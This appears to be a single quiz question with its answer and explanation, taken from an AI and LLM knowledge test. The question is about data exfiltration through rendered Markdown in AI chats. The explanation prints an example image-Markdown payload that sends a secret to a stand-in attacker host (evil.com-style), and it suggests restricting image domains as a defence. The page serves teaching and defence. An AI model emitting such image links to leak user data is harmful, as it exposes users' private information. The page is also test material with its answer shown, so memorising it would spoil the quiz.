AI and LLMs · Senior · Question 24 of 75

How can rendered Markdown leak data from an AI chat?

Show the answer

Correct answer: An injected image URL with data in its query string is fetched

Explanation

![x](https://evil.example/?q=SECRET) makes the browser request the attacker's server. Restrict image domains or disable auto-loading.

Further reading

Problem with a question

AI and LLMs · Senior · question 24

Test yourself

Take the AI and LLMs · Senior quiz: questions and options are shuffled, and you get a review of your mistakes at the end.

Take this quiz